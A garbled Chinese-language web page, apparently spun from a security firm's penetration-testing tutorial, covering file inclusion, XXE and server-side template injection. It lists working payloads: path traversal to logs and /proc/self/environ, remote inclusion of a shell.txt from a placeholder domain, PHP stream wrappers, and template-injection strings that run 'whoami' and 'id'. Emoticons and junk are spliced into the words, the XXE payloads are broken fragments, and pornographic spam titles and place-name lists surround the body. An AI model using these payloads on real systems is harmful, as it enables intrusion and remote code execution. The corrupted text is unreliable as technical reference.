亚洲女同成aV人片在线观看|亚洲www啪成人一区二区麻豆|亚洲国产中日韩精品综合|亚洲国产成人精品一级片|亚洲无码在线视频免费

新聞中心

NEWS

當前位置: 首頁(yè) > 產(chǎn)品中心

網(wǎng)站滲透測試 對文件包含注入檢測辦法

時(shí)間:2026-05-05 03:03:51

昨天給大家普及到了滲透測試中執行命令漏洞的網(wǎng)??站檢測方法,今天抽出時(shí)間由我們Sine安全(/ω\)的滲透工程師來(lái)講下遇到文件包含漏洞以及模板注入漏洞的(de)檢測方法和防御手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶(hù),讓更多的客戶(hù)了解到具體測試的內容,是如何進(jìn)行全面的網(wǎng)站安全測試。

3.8. 文件包含

3.8.1. 基礎

常見(jiàn)的滲透文件包含漏洞的??形式為

考慮常用的幾種包含方式為

同目錄??包含 file=.htaccess

目錄遍歷 ?file=../../../../../../../../../var/(′?_?`)lib/locate.db

日志注入 ?file=../../../┐(′?`)┌../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多種日志來(lái)源測試

3.8.2. 繞過(guò)技巧

常見(jiàn)的應用在文件包含之前,可能會(huì )調用函數對其進(jìn)行判斷,測試測辦一般有如下幾種繞過(guò)方式

3.8.2.1. url編碼繞過(guò)

如果WAF中是對文字符串匹配,可以使用url多次編碼的含注方式可以繞過(guò)

3.8.2.2. 特殊字符繞過(guò)

某些情況下,讀文件支持使用Shell通配符,入檢如 ?網(wǎng)站 * 等

url中 使用 ? # 可能會(huì )影響include包含的結果

某些情況下,unicode編碼不同但是滲透字形相近的字符有同(′?`)一個(gè)效果

3.8??.2.3. %00截斷

幾乎是最常用的方法,條件是測試測辦magic_quotes_gpc打開(kāi),而且php版本小于5.3.4。??對文

3.8.2.4. 長(cháng)度截斷

Windows上的含注文件名長(cháng)度和文件路徑有關(guān)。具體關(guān)系為:從根目錄計算,(╬?益?)入檢文件路徑長(cháng)度最長(cháng)為259個(gè)bytes。網(wǎng)站

msdn定義“`#define MAX_PATH 260“`,滲透第260個(gè)字符為字符串結尾的測試測辦“`0“`

linux可以用getconf來(lái)判斷文件名長(cháng)度限制和文件路徑長(cháng)度限制

獲取最長(cháng)文件路徑長(cháng)度:getconf PATH_MAX /root 得到4096 獲取最長(cháng)文件名:getco??nf NAME_MAX /root 得到255

那么在長(cháng)度有限的時(shí)候,`././././` (n個(gè)) 的形式就可以(??ヮ?)?*:???(yi)通過(guò)這個(gè)把路徑爆掉

在php代碼包含中,這種繞過(guò)方式要求php版本 < php 5.2.??8

3??.8??.2.5. 偽協(xié)議繞過(guò)

遠程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?fileヽ(′▽?zhuān)?ノ=[http|https|ftp]://域(yu)名/shell.txt

PHP INPUT: 把payload放在POST參數中作為包含的文件,要求 allow_u??rl_include??=On ,payload為 ?file=php://input

: 使用偽協(xié)議讀取文件,payload為 ?file=php://filter/convert.-encode??/re(⊙_⊙)source=index.php

DATA: 使用data偽協(xié)議讀取文件,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 al??low_url_include=On

3.9. XXE

3.9.1??. XML基礎

XML 指可擴展標記語(yǔ)言(eXtensible Markup Language),是一種用于標記電子文件使其具有結構性的標??記語(yǔ)言,被設(′;д;`)計用來(lái)傳輸和存儲數據。XML文檔結構包括XML聲明、DTD文檔?類(lèi)型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結構說(shuō)明文件(PDF、RSS等( ???))、圖片格式文件(SVG header)應用比較廣泛。

3.9.2. XXE

當允許引用外部實(shí)體時(shí),可通過(guò)構造惡意的XML內容,導致讀取任意文件、執行系統命令、探(′?_?`)測內網(wǎng)端口、攻( ?ヮ?)擊內網(wǎng)網(wǎng)站等??后果。一般的XXE攻擊,只有在服務(wù)器有回(hui)顯或者報錯的基礎上才能使用XXE漏洞來(lái)讀取服務(wù)器端文件,但是也可以通過(guò)Blind XXE的方式實(shí)現攻擊。

3.9.3. 攻擊方式

3.9.3.1. 拒絕服務(wù)攻擊

]>

&a2;

若解析過(guò)程非常緩慢,則表示測試成功,目標站點(diǎn)可能有(???)拒絕服務(wù)漏洞。具體攻擊可使用更多層的迭┐(′д`)┌代或遞歸,也可引用巨大的外部實(shí)體,以實(shí)現攻擊的效果。

3.9.3.2. 文件讀取

]>

&(╥_╥);file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注┐(′?`)┌入

3(′?_?`).10.1. 簡(jiǎn)介

模板引擎用于使用動(dòng)態(tài)數據呈現內容。此上下文數據通常由用戶(hù)控制(zhi)并由模板進(jìn)行格式化,以生成網(wǎng)頁(yè)、電子郵件等。模板(′ω`)引擎??通過(guò)使用代(dai)碼構造(如條件語(yǔ)句、循環(huán)等)處理上下文數據(ju),允許在模板中使用強大的語(yǔ)言表達式,以呈現動(dòng)態(tài)內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上(shang)下文數據,甚至在服務(wù)器上運行任意命令的表達式。

3.10.2. 測試方法

確定使用的引擎

查看引擎相關(guān)的文檔,確定其安全機制以及自帶的函數和變量

需找攻擊面,嘗試攻擊

3.10.3. 測試用例

簡(jiǎn)單的數學(xué)表達式,{ { 7+7 }} => 14

字符串表達式 { { "ajin" }} => ajin

Ruby

Java

${ 7*7}

Twig

{ { 7*7}}

Smarty

{ php}echo `id`;{ /php}

AngularJS

$eval('1+1')

Tornado

引用模塊 { % import mod(′?`*)ule %}

=> { % import os %}{ { os.popen("whoami").read() }}

Flask/Jinja2

{ { config.items() }}

{ { ''.__class__.__mro__[-1].__subclasses__()}}

Django

{ { re???quest }}

{ % debug %}

{ % lo??a??d module %}

{ % include "x.html" %}

{ % extends "x.html" %}

3.10.4. 目標

創(chuàng )建對象

文件讀寫(xiě)

遠程文件包含

信息泄漏 提權

3.10.5. 相關(guān)屬性

3.10.5.1. __class__(╬ ò﹏ó)

python中的新式類(lèi)(即顯示繼承obje(╯°□°)╯ct對象的類(lèi))都有一個(gè)屬(′?`)性 __class_??_ 用于獲取當前實(shí)例對應的類(lèi),例如 "".__class__ 就可以獲取到字符串實(shí)例對應的類(lèi)

3.10.5.2. __mro__

python中類(lèi)對象的 __mro__ 屬性會(huì )返回一個(gè)tuple對象,其中包含了當前類(lèi)對象所有繼承的基類(lèi),tuple中元素的順序是MRO(Method?? Resolution Orderヽ(′▽?zhuān)?ノ) 尋找的順序。

3.10.5.3. __glob(?Д?)als__

保存了函數所有的所有全局變量,在利用中,可以使用 __init__ 獲取對象的函數,并通過(guò) __globals__ 獲取 file os 等模塊以進(jìn)行下一步的利用

3.??10??.5.4. __subclasses__()

python的新式類(lèi)都保留了它所有的子類(lèi)的引用,__subc??lasses__() 這個(gè)方法返回了類(lèi)的所有存活的子(???)類(lèi)的引用(是類(lèi)對象引用,不是實(shí)例)。

因為python中的類(lèi)都是繼承object的,所以只要調用object類(lèi)對象的 __subclasses__() 方法就可以獲取想要的類(lèi)的對象。這一節滲透測試講到的這些內容和繞過(guò)手法,如果對自己網(wǎng)站不太放心的話(huà)可以找專(zhuān)業(yè)的網(wǎng)站安全公司來(lái)處理解決,國內做的比較好的??如Sinesaf???e,綠盟,啟明星辰等等。

亚洲女同成aV人片在线观看|亚洲www啪成人一区二区麻豆|亚洲国产中日韩精品综合|亚洲国产成人精品一级片|亚洲无码在线视频免费 莫力| 兴和县| 大英县| 湛江市| 万年县| 肇源县| 桃园市| 丰顺县| 泗水县| 泰来县| 剑河县| 郑州市| 刚察县| 连云港市| 炉霍县| 霸州市| 绵竹市| 巴马| 武强县| 淮南市| 台山市| 久治县| 满洲里市| 宁波市| 阜阳市| 安远县| 阳信县| 临沂市| 莱阳市| 南丰县| 霞浦县| 明溪县| 文成县| 中阳县| 辽源市| 焉耆| 兖州市| 肇东市| 鄂温| 湘潭市| 万荣县| http://444 http://444 http://444 http://444 http://444 http://444